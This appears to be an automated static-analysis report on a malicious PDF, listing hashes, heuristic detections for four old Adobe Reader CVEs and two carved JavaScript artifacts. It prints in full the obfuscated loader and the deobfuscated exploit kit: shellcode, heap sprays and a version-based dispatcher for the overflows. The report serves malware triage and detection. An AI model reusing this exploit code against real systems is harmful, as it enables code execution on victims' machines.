Malicious PDF — malware analysis report

Static analysis result for SHA-256 27d97f590e40bc4d…

MALICIOUS

PDF

44.4 KB First seen: 2013-07-12
MD5: e7b3fda15bacd9b5034daa9279b0eb47 SHA-1: 9b16e8b5726e43cfbd4e607fcea9cc98ba146a7f SHA-256: 27d97f590e40bc4d7fdb3b37d1cbd8f296e54c52289665139f95c1fe6bce4841
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions are not detailed in the provided evidence. The document body text 'test' provides no context for the malicious behavior.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF2C 447 bytes
SHA-256: b87593a42aa5adaf659aebdddcd53f17a7d90388f67f40c0db6886f0631e6ad2
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
tjaz='';
omi=('qwrwqr','tit');
e('qvbsw=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
nai=e('String.fro'+qvbsw.substr(0,9));
qsuc = e(qvbsw.substr(9)['replace'](/u/g,','));
e('k=qsuc.length');
for (i = 0; i < k; i+=2) {
	fahel = qsuc[i+1] + ('erybjkerl',qsuc[i]);
	tjaz += nai(fahel);
}
e(tjaz);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3642 bytes
SHA-256: 73bee51179c144ddf4dcc7a347e9ac29d1ac35ef27e85f974a284c5ed8eba5dc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u39b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u6f34%ue2aa%uc3fa%ue5e8%uffff%u86ff%u6e63%u6f6f%uee31%u3383%u6f6e%ue66f%ue288%u7f20%u00e2%u5e3b%u38b4%u3c3e%u3c3c%u3c3c%u3c3c%u3c3a%u073c%u6e6b%u6f6f%u393a%u073c%u0100%u6f6f%u1a07%u031d%u3b02%ue107%u6121%u8783%u6f27%u6f6f%u873f%u6f13%u6f6f%ubf90%uabec%u0767%u8020%u6a20%u873f%u6f03%u6f6f%ubf90%uafea%u781a%u3b05%u9c36%u07c5%u911d%u79dc%u7287%u6f6f%u3f6f%u3e87%u6f6f%u906f%u3cbf%u9105%ue607%u6e00%u87d2%u6f67%u6f6f%u873f%u6f53%u6f6f%ubf90%u5e0f%u0baf%u3fe4%ue45f%u633d%u3de4%ue47b%u471d%u77d6%u6f6f%u5e6f%u5e90%uc3af%u0e53%u6d13%u4f43%ua0ae%u6e62%u8da8%uee9f%u3490%u25d3%ue405%u7f2d%u7de4%ub61a%u2be6%u734b%uac0e%ue40f%u4b03%ue44b%u532a%u3be4%u176a%u856e%u25e4%ue477%u4f35%u846e%u5b8c%ue426%ue45b%u816e%u905e%uaf5e%uc393%uafeb%u681b%ua0ae%u6e62%u84a8%u549b%u4b13%u1a47%ue48e%u4b35%u846e%ue409%u2463%u35e4%u6e73%ue484%ue46b%u876e%u2be6%u734b%uad0e%u6f67%u8087%u9091%u0790%u1b1b%u551f%u4040%u000b%u061b%u0a1b%u4102%u0106%u0009%u0b40%u1f41%u1f07%u0950%u5e52%u4959%u520a%u6f5a';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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